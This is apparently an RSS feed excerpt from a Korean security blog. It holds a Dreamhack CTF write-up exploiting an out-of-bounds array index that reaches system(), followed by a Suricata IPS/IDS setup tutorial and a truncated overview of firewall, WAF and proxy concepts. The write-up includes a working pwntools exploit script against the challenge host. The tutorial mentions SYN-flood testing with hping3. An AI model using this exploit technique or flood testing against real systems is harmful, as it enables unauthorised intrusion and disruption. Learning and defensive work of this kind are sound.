&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>main함수를 따라가면서 살펴보면 먼저 관리자 이름을 name이라는 변수에 입력 받는다. 이후 What do you want?라는 문구와 함께 어떤 작업을 실행할 것인지 int형을 scanf로 입력 받는다. 이후 입력받은 값을 idx라는 변수에 넣고 system함수를 통해 command[idx]를 실행하고 프로그램은 종료한다.&lt;/p></description><content:encoded><![CDATA[<p>out of bound(OOB)는 버퍼의 길이를 벗어나는 인덱스를 참조하려 할때 발생할 수 있는 취약점이다.
<br>
이번 문제의 소스코드를 먼저 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="o">*</span><span class="n">command</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">&#34;cat&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;ls&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;id&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;ps&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;file ./oob&#34;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Admin name: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">name</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;What do you want?: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>main함수를 따라가면서 살펴보면 먼저 관리자 이름을 name이라는 변수에 입력 받는다. 이후 What do you want?라는 문구와 함께 어떤 작업을 실행할 것인지 int형을 scanf로 입력 받는다. 이후 입력받은 값을 idx라는 변수에 넣고 system함수를 통해 command[idx]를 실행하고 프로그램은 종료한다.</p>
<p>system함수는 C언어 내부에서 쉘을 사용할 수 있는 기능을 제공하며 배열 10이 할당되어 있으나 scanf에서는 입력받는 크기가 제한이 없는것을 볼수 있다. 이부분을 공략하면 될 것 같다.</p>
<p>일단 같이 제공된 바이너리를 peda를 통해 disas main 해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">   0x080486cb &lt;+0&gt;: 	lea    ecx,<span class="o">[</span>esp+0x4<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x080486cf &lt;+4&gt;: 	and    esp,0xfffffff0
</span></span><span class="line"><span class="cl">   0x080486d2 &lt;+7&gt; :	push   DWORD PTR <span class="o">[</span>ecx-0x4<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x080486d5 &lt;+10&gt;:	push   ebp
</span></span><span class="line"><span class="cl">   0x080486d6 &lt;+11&gt;:	mov    ebp,esp
</span></span><span class="line"><span class="cl">   0x080486d8 &lt;+13&gt;:	push   ecx
</span></span><span class="line"><span class="cl">   0x080486d9 &lt;+14&gt;:	sub    esp,0x14
</span></span><span class="line"><span class="cl">   0x080486dc &lt;+17&gt;:	mov    eax,gs:0x14
</span></span><span class="line"><span class="cl">   0x080486e2 &lt;+23&gt;:	mov    DWORD PTR <span class="o">[</span>ebp-0xc<span class="o">]</span>,eax
</span></span><span class="line"><span class="cl">   0x080486e5 &lt;+26&gt;:	xor    eax,eax
</span></span><span class="line"><span class="cl">   0x080486e7 &lt;+28&gt;:	call   0x804867b &lt;initialize&gt;
</span></span><span class="line"><span class="cl">   0x080486ec &lt;+33&gt;:	sub    esp,0xc
</span></span><span class="line"><span class="cl">   0x080486ef &lt;+36&gt;:	push   0x8048811
</span></span><span class="line"><span class="cl">   0x080486f4 &lt;+41&gt;:	call   0x80484b0 &lt;printf@plt&gt;
</span></span><span class="line"><span class="cl">   0x080486f9 &lt;+46&gt;:	add    esp,0x10
</span></span><span class="line"><span class="cl">   0x080486fc &lt;+49&gt;:	sub    esp,0x4
</span></span><span class="line"><span class="cl">   0x080486ff &lt;+52&gt;:	push   0x10
</span></span><span class="line"><span class="cl">   0x08048701 &lt;+54&gt;:	push   0x804a0ac
</span></span><span class="line"><span class="cl">   0x08048706 &lt;+59&gt;:	push   0x0
</span></span><span class="line"><span class="cl">   0x08048708 &lt;+61&gt;:	call   0x80484a0 &lt;read@plt&gt;
</span></span><span class="line"><span class="cl">   0x0804870d &lt;+66&gt;:	add    esp,0x10
</span></span><span class="line"><span class="cl">   0x08048710 &lt;+69&gt;:	sub    esp,0xc
</span></span><span class="line"><span class="cl">   0x08048713 &lt;+72&gt;:	push   0x804881e
</span></span><span class="line"><span class="cl">   0x08048718 &lt;+77&gt;:	call   0x80484b0 &lt;printf@plt&gt;
</span></span><span class="line"><span class="cl">   0x0804871d &lt;+82&gt;:	add    esp,0x10
</span></span><span class="line"><span class="cl">   0x08048720 &lt;+85&gt;:	sub    esp,0x8
</span></span><span class="line"><span class="cl">   0x08048723 &lt;+88&gt;:	lea    eax,<span class="o">[</span>ebp-0x10<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x08048726 &lt;+91&gt;:	push   eax
</span></span><span class="line"><span class="cl">   0x08048727 &lt;+92&gt;:	push   0x8048832
</span></span><span class="line"><span class="cl">   0x0804872c &lt;+97&gt;:	call   0x8048540 &lt;__isoc99_scanf@plt&gt;
</span></span><span class="line"><span class="cl">   0x08048731 &lt;+102&gt;:	add    esp,0x10
</span></span><span class="line"><span class="cl">   0x08048734 &lt;+105&gt;:	mov    eax,DWORD PTR <span class="o">[</span>ebp-0x10<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x08048737 &lt;+108&gt;:	mov    eax,DWORD PTR <span class="o">[</span>eax*4+0x804a060<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x0804873e &lt;+115&gt;:	sub    esp,0xc
</span></span><span class="line"><span class="cl">   0x08048741 &lt;+118&gt;:	push   eax
</span></span><span class="line"><span class="cl">   0x08048742 &lt;+119&gt;:	call   0x8048500 &lt;system@plt&gt;
</span></span><span class="line"><span class="cl">   0x08048747 &lt;+124&gt;:	add    esp,0x10
</span></span><span class="line"><span class="cl">   0x0804874a &lt;+127&gt;:	mov    eax,0x0
</span></span><span class="line"><span class="cl">   0x0804874f &lt;+132&gt;:	mov    edx,DWORD PTR <span class="o">[</span>ebp-0xc<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x08048752 &lt;+135&gt;:	xor    edx,DWORD PTR gs:0x14
</span></span><span class="line"><span class="cl">   0x08048759 &lt;+142&gt;:	je     0x8048760 &lt;main+149&gt;
</span></span><span class="line"><span class="cl">   0x0804875b &lt;+144&gt;:	call   0x80484e0 &lt;__stack_chk_fail@plt&gt;
</span></span><span class="line"><span class="cl">   0x08048760 &lt;+149&gt;:	mov    ecx,DWORD PTR <span class="o">[</span>ebp-0x4<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x08048763 &lt;+152&gt;:	leave  
</span></span><span class="line"><span class="cl">   0x08048764 &lt;+153&gt;:	lea    esp,<span class="o">[</span>ecx-0x4<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x08048767 &lt;+156&gt;:	ret 
</span></span></code></pre></div><p>우선 집중해서 봐야할 부분은 name의 주소값과 command의 주소값인것 같다.</p>
<p>name    : 0x804a0ac<br>
command : 0x804a060</p>
<p>각 주소값의 거리를 계산해 보면 name(0x804a0ac) - command(0x804a060) = 0x4C이다.
4C를 10진수로 변환하면 76이고 포인터 배열이 하나당 4바이트씩 할당하니 76/4를 하면 19가 나온다.</p>
<p>name의 위치는 command주소로 부터 [19]만큼 떨어져 있다고 볼수 있다.
그럼 name에는 &ldquo;/bin/sh&quot;를 주고 idx를 19를 입력하면 될것 같다.</p>
<p>여기서 조심해야 할 것이 system함수이다.</p>
<p>system 함수는 외부 라이브러리이기 때문에 변수주소_4바이트+exec_code(인수)로 구성되어 있다고 한다. 예를 들어 system(&ldquo;cat flag&rdquo;); 이라는 명령어를 실행하면 메모리에는 변수주소_4바이트 + cat flag가 들어간다. 따라서 결과 리턴을 위한 name+4의 값과  cat flag를 인수로 줘야 한다.</p>
<p>이제 파이썬을 이용해 익스플로잇 코드를 짜보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host2.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">16966</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recv</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x804a0ac</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span> <span class="c1">#name주소 + 4byte</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;cat flag&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recv</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;19&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">))</span>
</span></span></code></pre></div><p>위 코드를 실행하면 플레그 값을 얻을 수 있다.
이번 문제를 풀면서 system함수의 어셈블리 호출규약을 알아볼 필요성을 느꼈다.
좀더 공부를 하고 포스팅 내용을 보충해야 겠다.</p>
]]></content:encoded></item><item><title>Suricata IPS, IDS 시작하기 2편(운용)</title><link>https://dig06161.github.io/2022/03/04/Start-Suricata-chapter2/</link><pubDate>Fri, 04 Mar 2022 03:00:00 +0900</pubDate><guid>https://dig06161.github.io/2022/03/04/Start-Suricata-chapter2/</guid><description>&lt;p>우선 시작하기 앞서서 Suricata IPS의 테스트를 위한 플라스크 기반 서버를 만들었다. 이는 실무에서 적용될때 서비스 하고자 하는 대상의 서버가 될것이다.&lt;/p>
&lt;p>환경은 VM웨어의 Ubuntu 20.04버전을 기반으로 하였고 이 위에 Docker를 설치해 각 서버나 기능별로 컨테이너를 분리해 사용하려고 한다.&lt;/p>
&lt;p>그냥 기본적인 확인을 위한 서버이니 메인에 접속시 Hello, World를 표시해주는 아주 간단한 서버이다. 컨테이너의 이름은 server 이며&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">docker run -itd --name server -p 8080:8080 ubuntu:20.04 bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>위 명령어로 실행 한다.&lt;/p>
&lt;p>도커에서 suricata IPS모드를 사용하기 위해서는 관리자 권한을 필요로 한다. NFQ를 위한 설정을 해줘야 하는데 이를 iptables로 적용하고 도커에서 iptables를 사용하기 위해서 관지자 권한이 필요하기 때문이다. 따라서 컨테이너를 실행시킬때 privileged 옵션을 주어야 한다.&lt;/p></description><content:encoded><![CDATA[<p>우선 시작하기 앞서서 Suricata IPS의 테스트를 위한 플라스크 기반 서버를 만들었다. 이는 실무에서 적용될때 서비스 하고자 하는 대상의 서버가 될것이다.</p>
<p>환경은 VM웨어의 Ubuntu 20.04버전을 기반으로 하였고 이 위에 Docker를 설치해 각 서버나 기능별로 컨테이너를 분리해 사용하려고 한다.</p>
<p>그냥 기본적인 확인을 위한 서버이니 메인에 접속시 Hello, World를 표시해주는 아주 간단한 서버이다. 컨테이너의 이름은 server 이며</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">docker run -itd --name server -p 8080:8080 ubuntu:20.04 bash
</span></span></code></pre></div><p>위 명령어로 실행 한다.</p>
<p>도커에서 suricata IPS모드를 사용하기 위해서는 관리자 권한을 필요로 한다. NFQ를 위한 설정을 해줘야 하는데 이를 iptables로 적용하고 도커에서 iptables를 사용하기 위해서 관지자 권한이 필요하기 때문이다. 따라서 컨테이너를 실행시킬때 privileged 옵션을 주어야 한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">docker run -itd --name ips --privileged --net<span class="o">=</span>container:server ubuntu:20.04 bash
</span></span></code></pre></div><p>위 명령어에서 &ndash;privileged 옵션으로 관리자 권한을 줬고, &ndash;net 옵션으로 server 컨테이너와 네트워크를 공유하도록 설정해주었다. &ndash;net 옵션을 주고 server와 ips 컨테이너에서 ip를 확인하면 똑같은 ip를 할당받은 것을 볼수 있다.</p>
<p>이제 suricata에서 제공하는 문서를 기반으로 설치를 해보자.
각 환경에서 코드를 빌드할 필요 없이, PPA방식으로 편하게 설치할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">apt install iptables
</span></span><span class="line"><span class="cl">apt install software-properties-common
</span></span><span class="line"><span class="cl">add-apt-repository ppa:oisf/suricata-stable
</span></span><span class="line"><span class="cl">apt update
</span></span><span class="line"><span class="cl">apt install suricata jq
</span></span></code></pre></div><p>ppa저장소를 추가하고 suricata와 로그를 볼때 도움이 되는 jq를 설치한다.
ubuntu를 사용해본 사람이라면 여기까지 오래걸리지 않을 것이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">suricata --build-info
</span></span></code></pre></div><p>위 명령어를 이용해 빌드 정보를 확인할수 있으며 나오는 정보는 다음과 같다.</p>
<center><img src="/img/suricata2/suricata-build-info.png" width="80%" height="80%"></center>
<p>사진을 보면 NFQueue support에 yes로 되어있지 않으면 IPS모드를 사용할 수 없다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">nano /etc/suricata/suricata.yaml
</span></span></code></pre></div><p>위 파일을 수정함으로써 suricata의 기본적인 설정을 진행한다.
필자는 nano에디터를 주로 쓰지만 각자 편한 에디터를 사용하면 된다.
위 설정으로 기본적인 HOME NETWORK와 각종 로그 등을 할수 있다. 기본적인 설정은 Suricata 최신 권장설정으로 되어있으나 환경에 따라서 바꿔야 할 부분을 수정한다.</p>
<center><img src="/img/suricata2/suricata-home-net-config.png" width="80%" height="80%"></center>
<p>위와같이 필자는 도커 네트워크 기반이므로 172.17.0.0/24를 주었고 아이피는 호스트나 환경에 따라 달라질수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">port-groups:
</span></span><span class="line"><span class="cl">    <span class="c1">#HTTP_PORTS: &#34;80&#34;</span>
</span></span><span class="line"><span class="cl">    HTTP_PORTS: <span class="s2">&#34;8080&#34;</span>
</span></span><span class="line"><span class="cl">    SHELLCODE_PORTS: <span class="s2">&#34;!80&#34;</span>
</span></span><span class="line"><span class="cl">    ORACLE_PORTS: <span class="m">1521</span>
</span></span><span class="line"><span class="cl">    SSH_PORTS: <span class="m">22</span>
</span></span><span class="line"><span class="cl">    DNP3_PORTS: <span class="m">20000</span>
</span></span><span class="line"><span class="cl">    MODBUS_PORTS: <span class="m">502</span>
</span></span><span class="line"><span class="cl">    FILE_DATA_PORTS: <span class="s2">&#34;[</span><span class="nv">$HTTP_PORTS</span><span class="s2">,110,143]&#34;</span>
</span></span><span class="line"><span class="cl">    FTP_PORTS: <span class="m">21</span>
</span></span><span class="line"><span class="cl">    GENEVE_PORTS: <span class="m">6081</span>
</span></span><span class="line"><span class="cl">    VXLAN_PORTS: <span class="m">4789</span>
</span></span><span class="line"><span class="cl">    TEREDO_PORTS: <span class="m">3544</span>
</span></span></code></pre></div><p>홈 네트워크 설정 아래있는 사용하는 포트 부분이다. 웹 서버를 8080포트로 오픈했으니 이에 맞게 수정해준다.
추가로 http-log가 비활성화 되어있는데 이를 활성화 해준다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">- http-log:
</span></span><span class="line"><span class="cl">      enabled: yes
</span></span><span class="line"><span class="cl">      filename: http.log
</span></span><span class="line"><span class="cl">      append: yes
</span></span><span class="line"><span class="cl">      <span class="c1">#extended: yes     # enable this for extended logging information</span>
</span></span><span class="line"><span class="cl">      <span class="c1">#custom: yes       # enable the custom logging format (defined by customformat)</span>
</span></span><span class="line"><span class="cl">      <span class="c1">#customformat: &#34;%{%D-%H:%M:%S}t.%z %{X-Forwarded-For}i %H %m %h %u %s %B %a:%p -&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="c1">#filetype: regular # &#39;regular&#39;, &#39;unix_stream&#39; or &#39;unix_dgram&#39;</span>
</span></span></code></pre></div><p>수정 내용을 저장하고 탐지 룰 업데이트를 진행한다. 수리카타는</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">suricata-update
</span></span></code></pre></div><p>명령어로 통합 룰 업데이트를 지원한다. 다만 기본 룰들이 전부 alert로 되어있다. 이는 탐지는 하나 패킷드롭은 하지 않는다는 것이다. 옛날에는 오탐율 때문에 필요한 항목을 직접 드롭으로 바꿔주라는 글을 봤던 기억이 있다. 하나하나 확인하는게 좋지만 일단&hellip;.문자열 치환을 이용해 alert를 전부 드롭으로 바꿔준다.</p>
<p>suricata 룰은 업데이트 되면서 통합되어 /var/lib/suricata/rules 위치에 suricata.rules 로 저장된다. 이를 정규식을 이용해 alert를 전부 drop으로 바꿔주면 ips모드에서 패킷 차단이 가능하다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">#정규식
</span></span><span class="line"><span class="cl">:%s/^alert/drop/
</span></span></code></pre></div><p>치환전 룰인</p>
<center><img src="/img/suricata2/alert-rules.png" width="80%" height="80%"></center>
<p>에서 vim을 이용해 위 정규식을 이용하면</p>
<center><img src="/img/suricata2/drop-rules.png" width="80%" height="80%"></center>
<p>이런식으로 바꿔준 후 저장한다. 통합된 룰들을 확인해 보면 기본적으로 Suricata에서 제공하는 룰과 별도로 emergingthreats.net에서 제공하는 룰들이 같이 병합되어 있다.</p>
<p>이후
NFQ 설정을 위해 iptables 옵션을 적용해준다.
이 설정을 적용하면 ips컨테이너와 같이 묶여있는 server 둘의 네트워크는 ips가 켜저있지 않으면 망 단절이 일어난다. 이게 인라인 IPS모드이다.</p>
<p>명령어는 아래와 같다</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">apt install iptables
</span></span><span class="line"><span class="cl">iptables -I INPUT -j NFQUEUE
</span></span><span class="line"><span class="cl">iptables -I OUTPUT -j NFQUEUE
</span></span></code></pre></div><p>이후 Suricata를 IPS모드로 작동시켜 준다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">suricata -c /etc/suricata/suricata.yaml -q <span class="m">0</span>
</span></span></code></pre></div><p>그럼 다음과 같은 화면이 뜰것이다.</p>
<center><img src="/img/suricata2/suricata-ips-start.png" width="80%" height="80%"></center>
<p>이후</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">tail -f /var/log/suricata/fast.log
</span></span></code></pre></div><p>를 통해 탐지로그를 살펴보자.</p>
<p>이제 kali에서 hping3를 이용해 SYN Flooding을 시도해본다.
공격을 시도하는 순간 다음과 같은 로그들이 생성된다.</p>
<h3 style="color:red">자주가는 카페의 기본 IP와 충돌이 나 docker 네트워크 브짓지 대역을 192.168.64.0/24로 수정했습니다 </h3><br>
<center><img src="/img/suricata2/flooding-drop.png" width="80%" height="80%"></center>
<br>
<center><img src="/img/suricata2/network-flow.png" width="80%" height="80%"></center>
<p>위 사진을 보면 이상한 것이 있다. 분명히 막히긴 했는데 서버에서 공격지로 나가려다 비정상 트레픽으로 차단된 ACK 로그가 있다. 탐지 룰의 트레숄드 값에 의해 통과된 일부 트래픽에 대한 응답 트레픽이 탐지 된것 같다.</p>
<p>또 다음사진을 보면 Suricata 경고로 flow경고가 나오고 있다. Suricata에 설정된 처리 트래픽 양보다 더 많은 트레픽이 들어와 뜨는 경고다. 따라서 기업이나 트레픽 양이 많은 곳에 적용할 경우 설정을 수정하고 IDS모드로 미리 테스트를 거친 후에 IPS모드로 전환해야 할 것 같다.</p>
<p>hping3에서는 랜덤 ip를 통한 Flooding공격도 가능하다.
이를 테스트 해봤는데 결과는 다음과 같다.</p>
<center><img src="/img/suricata2/flooding-drop-rand.png" width="80%" height="80%"></center>
<p>로그를 보면 ET DROP Spamhaus DROP Listed Traffic Inbound group이라고 되어있다.
Spamhaus DROP이라는 그룹에서 DROP을 권장하는 IP리스트를 제공하고 있는데 이 리스트에 hping3의 임의ip가 포함되어 있는것 같다.</p>
<p>이 IPS를 적용하고서 생기는 문제점들이 있다. 이번에 생긴 문제점은 기본적으로 적용한 DROP룰 중에 APT update 서버로 향하는 트레픽을 막는 룰이 추가되어 있다.</p>
<p>따라서 이 룰을 Alert로 바꾸거나 주석 처리해야지 정상적인 apt update가 가능하다.</p>
<p>이번에 생긴 업데이트 문제 뿐만 아니라 각 룰들이 업데이트 되면서 다른 문제가 생길 가능성도 있다. 이러한 것들을 직접 핸들링 하고 테스트 하면서 수정해 줘야 한다.</p>
]]></content:encoded></item><item><title>Suricata IPS, IDS 시작하기 1편(설명)</title><link>https://dig06161.github.io/2022/02/28/Start-Suricata-chapter1/</link><pubDate>Mon, 28 Feb 2022 19:13:00 +0900</pubDate><guid>https://dig06161.github.io/2022/02/28/Start-Suricata-chapter1/</guid><description>&lt;p>많은 기업에서 각종 엔터프라이즈 또는 일반 사용자에게 서비스 하기위해 서버를 운영하는것이 대부분이다. 이러한 서버를 운영하면서 외부 올바르지 않은 접근이나 공격에 대비하기 위해 UTM, IPS, WAF, FW, SIEM, proxy 서버, 로그수집 등 많은 장비를 서버와 같이 운영하고 있다.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>IPS(IDS)&lt;/p>
&lt;ul>
&lt;li>침입차단(방지)시스템으로 OSI 7 Layer의 3계층부터 7계층의 plain 데이터를 시그니쳐와 비교해 공격 유무를 탐지한다.&lt;/li>
&lt;li>IPS는 시그니쳐에 의한 탐지와 차단을 같이 진행하며 IDS는 탐지 기능만 제공하고 있다. 다만 오탐비율도 높은편이다.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>FW&lt;/p>
&lt;ul>
&lt;li>
&lt;p>방화벽이라는 장비로 3계층과 4계층에서 IP, PORT를 보고 혀용된 IP나 PORT는 허용하고 나머지 트레픽을 차단하는 역할을 한다.&lt;/p></description><content:encoded><![CDATA[<p>많은 기업에서 각종 엔터프라이즈 또는 일반 사용자에게 서비스 하기위해 서버를 운영하는것이 대부분이다. 이러한 서버를 운영하면서 외부 올바르지 않은 접근이나 공격에 대비하기 위해 UTM, IPS, WAF, FW, SIEM, proxy 서버, 로그수집 등 많은 장비를 서버와 같이 운영하고 있다.</p>
<ul>
<li>
<p>IPS(IDS)</p>
<ul>
<li>침입차단(방지)시스템으로 OSI 7 Layer의 3계층부터 7계층의 plain 데이터를 시그니쳐와 비교해 공격 유무를 탐지한다.</li>
<li>IPS는 시그니쳐에 의한 탐지와 차단을 같이 진행하며 IDS는 탐지 기능만 제공하고 있다. 다만 오탐비율도 높은편이다.</li>
</ul>
</li>
<li>
<p>FW</p>
<ul>
<li>
<p>방화벽이라는 장비로 3계층과 4계층에서 IP, PORT를 보고 혀용된 IP나 PORT는 허용하고 나머지 트레픽을 차단하는 역할을 한다.</p>
</li>
<li>
<p>ip기반의 블랙기스트, 화이트리스트 기능이 사용 가능하고 특정 PORT에만 접근하도록 설정도 가능하며 ip, PORT기능을 복합적으로 사용헤 악의적이나 비인가 사용자에 대한 접근을 통제한다.</p>
</li>
</ul>
</li>
<li>
<p>WAF</p>
<ul>
<li>WAF는 웹 어플리케이션 방화벽의 약자로 기존의 방화벽이 3계층 4계층에서만 동작한 것의 한계를 벗어나 7계층에서 웹 어플리케이션에 대한 방화벽 기능을 제공한다. 일반적인 ip, PORT기반의 접근 통제보다 더 넓은 SQL Injection, 악성 스크립트 삽입 등 웹 서버에 대한 공격을 탐지하고 이를 차단하는 역할을 한다.</li>
</ul>
</li>
<li>
<p>UTM</p>
<ul>
<li>통합 위협 관리의 약자로 IPS, FW기능을 하나로 합친 장비라고 봐도 무방하다. 장비의 사양에 따라 WAF기능이 추가된 장비도 존재하며 기존의 2개 이상의 장비의 운영에 드는 비용이나 관리적 측면에 이점이 있다.</li>
<li>요즘 UTM장비는 무선렌 대응이 되는 모델도 존재하며 매우 다양한 회사의 장비가 존재하고 기기의 가격보다는 시그니쳐, 펌웨어 업데이트로 인한 엔터프라이즈 라이센스 비용이 매우 큰편이다.</li>
</ul>
</li>
<li>
<p>proxy 서버</p>
<ul>
<li>프록시 서버는 많은 웹 연결이 SSL 암호화로 이루어 지면서 보안장비에서 plain데이터 기반의 공격탐지가 불가능하다. 패킷들이 암호화 되면서 이들이 공격인지 아닌지에 대한 판단이 어렵기 때문이다. 그렇기 때문에 프록시 서버단에서 SSL 암호화를 진행하고 프록시 서버와 웹서버는 엄호화가 되지 않은 상태로 통신하게 되면서 중간에 보안장비가 패킷의 공격유무를 판단하는것이 일반적이다.</li>
<li>프록시 서버의 사용은 위 사례도 있지만 원래는 중간경유 서버를 주어 공격또는 장애에 대한 능동적인 방어를 위해 사용되었다. 예를 들면 A서버가 B라는 프록시 서버를 통해 서비스중인데 B를 목적지로 한 공격이 발생했다. 그럴경우 A서버는 피해가 적고 모든 피해는 B가 받게 되므로 프록시 서버만 다시 바꿔주면 정상적인 서비스가 가능하다.</li>
